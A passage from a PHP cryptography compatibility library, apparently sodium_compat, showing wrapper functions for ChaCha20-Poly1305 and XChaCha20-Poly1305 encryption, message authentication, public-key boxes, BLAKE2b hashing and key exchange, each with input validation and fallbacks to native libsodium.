        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be
CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be
CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
        }

        if (self::useNewSodiumAPI()) {
            return (string)
sodium_crypto_aead_chacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if
(self::use_fallback('crypto_aead_chacha20poly1305_ietf_encrypt'))
{
            return (string) call_user_func(
               
'\\Sodium\\crypto_aead_chacha20poly1305_ietf_encrypt',
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Return a secure random key for use with the ChaCha20-Poly1305
     * symmetric AEAD interface. (IETF version)
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_chacha20poly1305_ietf_keygen()
    {
        return
random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     XChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext   Encrypted message (with Poly1305 MAC
appended)
     * @param string $assocData    Authenticated Associated Data
(unencrypted)
     * @param string $nonce        Number to be used only Once; must be 8
bytes
     * @param string $key          Encryption key
     * @param bool   $dontFallback Don't fallback to ext/sodium
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_xchacha20poly1305_ietf_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        $key = '',
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be
CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) {
            throw new SodiumException('Key must be
CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) <
self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES) {
            throw new SodiumException('Message must be at least
CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES long');
        }
        if (self::useNewSodiumAPI() && !$dontFallback) {
            if
(is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt'))
{
                return sodium_crypto_aead_xchacha20poly1305_ietf_decrypt(
                    $ciphertext,
                    $assocData,
                    $nonce,
                    $key
                );
            }
        }

        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return
ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     XChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $plaintext    Message to be encrypted
     * @param string $assocData    Authenticated Associated Data
(unencrypted)
     * @param string $nonce        Number to be used only Once; must be 8
bytes
     * @param string $key          Encryption key
     * @param bool   $dontFallback Don't fallback to ext/sodium
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_xchacha20poly1305_ietf_encrypt(
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        $key = '',
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be
CRYPTO_AEAD_XCHACHA20POLY1305_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) {
            throw new SodiumException('Key must be
CRYPTO_AEAD_XCHACHA20POLY1305_KEYBYTES long');
        }
        if (self::useNewSodiumAPI() && !$dontFallback) {
            if
(is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt'))
{
                return sodium_crypto_aead_xchacha20poly1305_ietf_encrypt(
                    $plaintext,
                    $assocData,
                    $nonce,
                    $key
                );
            }
        }

        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return
ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Return a secure random key for use with the XChaCha20-Poly1305
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_xchacha20poly1305_ietf_keygen()
    {
        return
random_bytes(self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES);
    }

    /**
     * Authenticate a message. Uses symmetric-key cryptography.
     *
     * Algorithm:
     *     HMAC-SHA512-256. Which is HMAC-SHA-512 truncated to 256 bits.
     *     Not to be confused with HMAC-SHA-512/256 which would use the
     *     SHA-512/256 hash function (uses different initial parameters
     *     but still truncates to 256 bits to sidestep length-extension
     *     attacks).
     *
     * @param string $message Message to be authenticated
     * @param string $key Symmetric authentication key
     * @return string         Message authentication code
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_auth($message, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_AUTH_KEYBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_AUTH_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_auth($message, $key);
        }
        if (self::use_fallback('crypto_auth')) {
            return (string)
call_user_func('\\Sodium\\crypto_auth', $message, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::auth($message, $key);
        }
        return ParagonIE_Sodium_Crypto::auth($message, $key);
    }

    /**
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_auth_keygen()
    {
        return random_bytes(self::CRYPTO_AUTH_KEYBYTES);
    }

    /**
     * Verify the MAC of a message previously authenticated with
crypto_auth.
     *
     * @param string $mac Message authentication code
     * @param string $message Message whose authenticity you are attempting
to
     *                        verify (with a given MAC and key)
     * @param string $key Symmetric authentication key
     * @return bool           TRUE if authenticated, FALSE otherwise
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_auth_verify($mac, $message, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($mac,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($mac) !==
self::CRYPTO_AUTH_BYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_AUTH_BYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_AUTH_KEYBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_AUTH_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (bool) sodium_crypto_auth_verify($mac, $message, $key);
        }
        if (self::use_fallback('crypto_auth_verify')) {
            return (bool)
call_user_func('\\Sodium\\crypto_auth_verify', $mac, $message,
$key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::auth_verify($mac, $message,
$key);
        }
        return ParagonIE_Sodium_Crypto::auth_verify($mac, $message, $key);
    }

    /**
     * Authenticated asymmetric-key encryption. Both the sender and
recipient
     * may decrypt messages.
     *
     * Algorithm: X25519-XSalsa20-Poly1305.
     *     X25519: Elliptic-Curve Diffie Hellman over Curve25519.
     *     XSalsa20: Extended-nonce variant of salsa20.
     *     Poyl1305: Polynomial MAC for one-time message authentication.
     *
     * @param string $plaintext The message to be encrypted
     * @param string $nonce A Number to only be used Once; must be 24 bytes
     * @param string $keypair Your secret key and your recipient's
public key
     * @return string           Ciphertext with 16-byte Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box($plaintext, $nonce, $keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair,
'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_BOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_BOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !==
self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box($plaintext, $nonce,
$keypair);
        }
        if (self::use_fallback('crypto_box')) {
            return (string)
call_user_func('\\Sodium\\crypto_box', $plaintext, $nonce,
$keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box($plaintext, $nonce,
$keypair);
        }
        return ParagonIE_Sodium_Crypto::box($plaintext, $nonce, $keypair);
    }

    /**
     * Anonymous public-key encryption. Only the recipient may decrypt
messages.
     *
     * Algorithm: X25519-XSalsa20-Poly1305, as with crypto_box.
     *     The sender's X25519 keypair is ephemeral.
     *     Nonce is generated from the BLAKE2b hash of both public keys.
     *
     * This provides ciphertext integrity.
     *
     * @param string $plaintext Message to be sealed
     * @param string $publicKey Your recipient's public key
     * @return string           Sealed message that only your recipient can
     *                          decrypt
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_seal($plaintext, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey,
'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !==
self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_seal($plaintext, $publicKey);
        }
        if (self::use_fallback('crypto_box_seal')) {
            return (string)
call_user_func('\\Sodium\\crypto_box_seal', $plaintext,
$publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_seal($plaintext,
$publicKey);
        }
        return ParagonIE_Sodium_Crypto::box_seal($plaintext, $publicKey);
    }

    /**
     * Opens a message encrypted with crypto_box_seal(). Requires
     * the recipient's keypair (sk || pk) to decrypt successfully.
     *
     * This validates ciphertext integrity.
     *
     * @param string $ciphertext Sealed message to be opened
     * @param string $keypair    Your crypto_box keypair
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_box_seal_open($ciphertext, $keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair,
'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !==
self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_box_seal_open($ciphertext, $keypair);
        }
        if (self::use_fallback('crypto_box_seal_open')) {
            return
call_user_func('\\Sodium\\crypto_box_seal_open', $ciphertext,
$keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_seal_open($ciphertext,
$keypair);
        }
        return ParagonIE_Sodium_Crypto::box_seal_open($ciphertext,
$keypair);
    }

    /**
     * Generate a new random X25519 keypair.
     *
     * @return string A 64-byte string; the first 32 are your secret key,
while
     *                the last 32 are your public key.
crypto_box_secretkey()
     *                and crypto_box_publickey() exist to separate them so
you
     *                don't accidentally get them mixed up!
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_keypair()
    {
        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_keypair();
        }
        if (self::use_fallback('crypto_box_keypair')) {
            return (string)
call_user_func('\\Sodium\\crypto_box_keypair');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_keypair();
        }
        return ParagonIE_Sodium_Crypto::box_keypair();
    }

    /**
     * Combine two keys into a keypair for use in library methods that
expect
     * a keypair. This doesn't necessarily have to be the same
person's keys.
     *
     * @param string $secretKey Secret key
     * @param string $publicKey Public key
     * @return string    Keypair
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function
crypto_box_keypair_from_secretkey_and_publickey($secretKey, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey,
'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !==
self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_BOX_SECRETKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !==
self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string)
sodium_crypto_box_keypair_from_secretkey_and_publickey($secretKey,
$publicKey);
        }
        if
(self::use_fallback('crypto_box_keypair_from_secretkey_and_publickey'))
{
            return (string)
call_user_func('\\Sodium\\crypto_box_keypair_from_secretkey_and_publickey',
$secretKey, $publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::box_keypair_from_secretkey_and_publickey($secretKey,
$publicKey);
        }
        return
ParagonIE_Sodium_Crypto::box_keypair_from_secretkey_and_publickey($secretKey,
$publicKey);
    }

    /**
     * Decrypt a message previously encrypted with crypto_box().
     *
     * @param string $ciphertext Encrypted message
     * @param string $nonce      Number to only be used Once; must be 24
bytes
     * @param string $keypair    Your secret key and the sender's
public key
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_box_open($ciphertext, $nonce, $keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair,
'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) <
self::CRYPTO_BOX_MACBYTES) {
            throw new SodiumException('Argument 1 must be at least
CRYPTO_BOX_MACBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_BOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_BOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !==
self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_box_open($ciphertext, $nonce, $keypair);
        }
        if (self::use_fallback('crypto_box_open')) {
            return call_user_func('\\Sodium\\crypto_box_open',
$ciphertext, $nonce, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_open($ciphertext, $nonce,
$keypair);
        }
        return ParagonIE_Sodium_Crypto::box_open($ciphertext, $nonce,
$keypair);
    }

    /**
     * Extract the public key from a crypto_box keypair.
     *
     * @param string $keypair Keypair containing secret and public key
     * @return string         Your crypto_box public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_publickey($keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair,
'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !==
self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_publickey($keypair);
        }
        if (self::use_fallback('crypto_box_publickey')) {
            return (string)
call_user_func('\\Sodium\\crypto_box_publickey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_publickey($keypair);
        }
        return ParagonIE_Sodium_Crypto::box_publickey($keypair);
    }

    /**
     * Calculate the X25519 public key from a given X25519 secret key.
     *
     * @param string $secretKey Any X25519 secret key
     * @return string           The corresponding X25519 public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_publickey_from_secretkey($secretKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey,
'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !==
self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_BOX_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string)
sodium_crypto_box_publickey_from_secretkey($secretKey);
        }
        if
(self::use_fallback('crypto_box_publickey_from_secretkey')) {
            return (string)
call_user_func('\\Sodium\\crypto_box_publickey_from_secretkey',
$secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::box_publickey_from_secretkey($secretKey);
        }
        return
ParagonIE_Sodium_Crypto::box_publickey_from_secretkey($secretKey);
    }

    /**
     * Extract the secret key from a crypto_box keypair.
     *
     * @param string $keypair
     * @return string         Your crypto_box secret key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_secretkey($keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair,
'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !==
self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_secretkey($keypair);
        }
        if (self::use_fallback('crypto_box_secretkey')) {
            return (string)
call_user_func('\\Sodium\\crypto_box_secretkey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_secretkey($keypair);
        }
        return ParagonIE_Sodium_Crypto::box_secretkey($keypair);
    }

    /**
     * Generate an X25519 keypair from a seed.
     *
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress UndefinedFunction
     */
    public static function crypto_box_seed_keypair($seed)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($seed,
'string', 1);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_seed_keypair($seed);
        }
        if (self::use_fallback('crypto_box_seed_keypair')) {
            return (string)
call_user_func('\\Sodium\\crypto_box_seed_keypair', $seed);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_seed_keypair($seed);
        }
        return ParagonIE_Sodium_Crypto::box_seed_keypair($seed);
    }

    /**
     * Calculates a BLAKE2b hash, with an optional key.
     *
     * @param string      $message The message to be hashed
     * @param string|null $key     If specified, must be a string between
16
     *                             and 64 bytes long
     * @param int         $length  Output length in bytes; must be between
16
     *                             and 64 (default = 32)
     * @return string              Raw binary
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash($message, $key =
'', $length = self::CRYPTO_GENERICHASH_BYTES)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message,
'string', 1);
        if (is_null($key)) {
            $key = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($length,
'int', 3);

        /* Input validation: */
        if (!empty($key)) {
            if (ParagonIE_Sodium_Core_Util::strlen($key) <
self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new SodiumException('Unsupported key size. Must
be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.');
            }
            if (ParagonIE_Sodium_Core_Util::strlen($key) >
self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new SodiumException('Unsupported key size. Must
be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.');
            }
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_generichash($message, $key,
$length);
        }
        if (self::use_fallback('crypto_generichash')) {
            return (string)
call_user_func('\\Sodium\\crypto_generichash', $message, $key,
$length);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::generichash($message, $key,
$length);
        }
        return ParagonIE_Sodium_Crypto::generichash($message, $key,
$length);
    }

    /**
     * Get the final BLAKE2b hash output for a given context.
     *
     * @param string &$ctx BLAKE2 hashing context. Generated by
crypto_generichash_init().
     * @param int $length  Hash output size.
     * @return string      Final BLAKE2b hash.
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash_final(&$ctx, $length =
self::CRYPTO_GENERICHASH_BYTES)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ctx,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($length,
'int', 2);

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_generichash_final($ctx, $length);
        }
        if (self::use_fallback('crypto_generichash_final')) {
            $func = '\\Sodium\\crypto_generichash_final';
            return (string) $func($ctx, $length);
        }
        if (PHP_INT_SIZE === 4) {
            $result = ParagonIE_Sodium_Crypto32::generichash_final($ctx,
$length);
        } else {
            $result = ParagonIE_Sodium_Crypto::generichash_final($ctx,
$length);
        }
        try {
            self::memzero($ctx);
        } catch (SodiumException $ex) {
            unset($ctx);
        }
        return $result;
    }

    /**
     * Initialize a BLAKE2b hashing context, for use in a streaming
interface.
     *
     * @param string|null $key If specified must be a string between 16 and
64 bytes
     * @param int $length      The size of the desired hash output
     * @return string          A BLAKE2 hashing context, encoded as a
string
     *                         (To be 100% compatible with ext/libsodium)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash_init($key = '',
$length = self::CRYPTO_GENERICHASH_BYTES)
    {
        /* Type checks: */
        if (is_null($key)) {
            $key = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($length,
'int', 2);

        /* Input validation: */
        if (!empty($key)) {
            if (ParagonIE_Sodium_Core_Util::strlen($key) <
self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new SodiumException('Unsupported key size. Must
be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.');
            }
            if (ParagonIE_Sodium_Core_Util::strlen($key) >
self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new SodiumException('Unsupported key size. Must
be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.');
            }
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_generichash_init($key, $length);
        }
        if (self::use_fallback('crypto_generichash_init')) {
            return (string)
call_user_func('\\Sodium\\crypto_generichash_init', $key,
$length);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::generichash_init($key,
$length);
        }
        return ParagonIE_Sodium_Crypto::generichash_init($key, $length);
    }

    /**
     * Update a BLAKE2b hashing context with additional data.
     *
     * @param string &$ctx    BLAKE2 hashing context. Generated by
crypto_generichash_init().
     *                        $ctx is passed by reference and gets updated
in-place.
     * @param string $message The message to append to the existing hash
state.
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash_update(&$ctx, $message)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ctx,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message,
'string', 2);

        if (self::useNewSodiumAPI()) {
            sodium_crypto_generichash_update($ctx, $message);
            return;
        }
        if (self::use_fallback('crypto_generichash_update')) {
            $func = '\\Sodium\\crypto_generichash_update';
            $func($ctx, $message);
            return;
        }
        if (PHP_INT_SIZE === 4) {
            $ctx = ParagonIE_Sodium_Crypto32::generichash_update($ctx,
$message);
        } else {
            $ctx = ParagonIE_Sodium_Crypto::generichash_update($ctx,
$message);
        }
    }

    /**
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_generichash_keygen()
    {
        return random_bytes(self::CRYPTO_GENERICHASH_KEYBYTES);
    }

    /**
     * Perform a key exchange, between a designated client and a server.
     *
     * Typically, you would designate one machine to be the client and the
     * other to be the server. The first two keys are what you'd
expect for
     * scalarmult() below, but the latter two public keys don't swap
places.
     *
     * | ALICE                          | BOB                              
  |
     * | Client                         | Server                           
  |
     *
|--------------------------------|-------------------------------------|
     * | shared = crypto_kx(            | shared = crypto_kx(              
  |
     * |     alice_sk,                  |     bob_sk,                      
  | <- contextual
     * |     bob_pk,                    |     alice_pk,                    
  | <- contextual
     * |     alice_pk,                  |     alice_pk,                    
  | <----- static
     * |     bob_pk                     |     bob_pk                       
  | <----- static
     * | )                              | )                                
  |
     *
     * They are used along with the scalarmult product to generate a
256-bit
     * BLAKE2b hash unique to the client and server keys.
     *
     * @param string $my_secret
     * @param string $their_public
     * @param string $client_public
     * @param string $server_public
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_kx($my_secret, $their_public,
$client_public, $server_public)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($my_secret,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($their_public,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($client_public,
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($server_public,
'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($my_secret) !==
self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_BOX_SECRETKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($their_public) !==
self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_BOX_PUBLICKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($client_public) !==
self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_BOX_PUBLICKEYBYTES long.');
        }
